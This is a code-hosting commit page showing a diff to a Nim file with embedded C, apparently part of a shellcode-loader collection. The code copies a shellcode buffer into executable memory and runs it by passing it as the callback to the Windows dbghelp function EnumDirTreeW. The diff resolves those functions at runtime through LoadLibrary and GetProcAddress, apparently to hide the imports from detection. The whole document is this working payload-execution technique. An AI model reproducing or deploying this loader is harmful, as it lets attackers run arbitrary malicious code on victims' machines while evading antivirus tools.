Skip to content

Commit 19d8278

Browse files
committed
修改代码
修改代码
1 parent 4bc644e commit 19d8278

File tree

1 file changed

+22
-5
lines changed

1 file changed

+22
-5
lines changed

EnumDirTreeW.nim

Lines changed: 22 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,33 @@ import public
44
{.emit: """
55
#include <windows.h>
66
#include <stdio.h>
7-
#include <Dbghelp.h>
87
8+
typedef BOOL
9+
(CALLBACK* PENUMDIRTREE_CALLBACKW)(
10+
PCWSTR FilePath,
11+
PVOID CallerData);
12+
13+
typedef BOOL (WINAPI* EnumDir)(HANDLE hProcess,
14+
PCWSTR RootPath,
15+
PCWSTR InputPathName,
16+
PWSTR OutputPathBuffer,
17+
PENUMDIRTREE_CALLBACKW cb,
18+
PVOID data);
19+
20+
typedef BOOL(WINAPI* Sysinit)(
21+
HANDLE hProcess,
22+
PCSTR UserSearchPath,
23+
BOOL fInvadeProcess);
24+
925
int EnumDirTreeWNim(char *shellcode,SIZE_T shellcodeSize) {
26+
HMODULE dbgaddr = LoadLibrary("dbghelp.dll");
27+
EnumDir enumdirfunc = (EnumDir)GetProcAddress(dbgaddr, "EnumDirTreeW");
28+
Sysinit sysinitfunc = (Sysinit)GetProcAddress(dbgaddr, "SymInitialize");
1029
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
1130
::RtlMoveMemory(addr, shellcode, shellcodeSize);
12-
13-
::SymInitialize(::GetCurrentProcess(), NULL, TRUE);
14-
31+
sysinitfunc(::GetCurrentProcess(), NULL, TRUE);
1532
WCHAR dummy[522];
16-
::EnumDirTreeW(::GetCurrentProcess(), L"C:\\Windows", L"*.log", dummy, (PENUMDIRTREE_CALLBACKW)addr, NULL);
33+
enumdirfunc(::GetCurrentProcess(), L"C:\\Windows", L"*.log", dummy, (PENUMDIRTREE_CALLBACKW)addr, NULL);
1734
}
1835
"""
1936
.}

0 commit comments

Comments
 (0)